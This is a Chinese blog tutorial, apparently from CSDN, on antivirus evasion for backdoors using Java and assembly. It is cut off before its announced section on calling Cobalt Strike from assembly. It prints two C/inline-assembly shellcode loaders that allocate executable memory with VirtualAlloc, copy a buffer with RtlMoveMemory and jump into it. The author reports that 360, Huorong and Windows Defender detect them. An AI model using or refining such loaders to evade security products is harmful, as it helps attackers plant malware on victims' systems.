免杀对抗—java&ASM&MSF源码特征修改&汇编调用CS&内联C

前言

今天讲最后的两个语言java和汇编,那么基本所有语言就讲了一个遍了。java在后门免杀这一块呢其实是有点鸡肋的,其它语言编译成的是exe,而java编译成的是jar包,而jar包又得有java环境才能运行,不像exe是个电脑都行。虽说jar包可以转变成exe,但是过程相当麻烦,而且实际利用不太现实,这是因为java的语言特性决定的。汇编相对java来说好一点,但是汇编太底层了,而且网上关于汇编的资料比较少,你想系统学习的难度是比较大的,我只是仅仅懂一点点,所以介绍汇编的时候不会讲太多汇编的知识,基本都是拿别人的源码来用。

实验环境

360,火绒,WD,VT。

内联C混编

这个前面我们讲C++的时候是有讲过一点的,其实就是C和汇编的混合使用。比如说下面这个,就是一个典型的用C调用汇编代码来加载shellcode,当然这个没啥用,直接被杀掉了。

int main() {
	__asm {
	lea eax, buf
	call eax
	}
}

今天就讲一个更为复杂一点的混编,可以看到加载方式明显不一样了,其实就是把上面的功能用更多的代码来取代。

int main() {
    LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
    size_t dw_size = sizeof(buf);
    void* exec = NULL;
    __asm
    {
        push 0x40; //可读可写可执行页参数入栈
        push 0x1000; //MEM_COMMIT参数值入栈
        mov eax, dw_size; //定义空间大小
        push eax; //将空间大小入栈
        push 0; //由系统自行决定内存空间起始地址入栈
        mov eax, lp; //移动到virtualAlloc函数地址
        call eax; //运行该函数
        mov exec, eax;//调用地址
    }
    LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");
    __asm
    {
        mov eax, dw_size;
        push eax;

        lea eax, buf;
        push eax;
        mov ecx, exec;
        push ecx;
        mov eax, op;
        call eax;
    }
    __asm
    {
        jmp exec;
    }
    return 0;
}

直接测试一下效果吧,火绒被查杀了。

WD又查杀到了。

360也查杀到了。

说明效果还是不行,还得写,不过呢今天的重点也不是这个。

汇编调用CS

我们可以先看一篇大佬的文章,虽然是两年前的文章了,但我们可以学习其中的思路。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值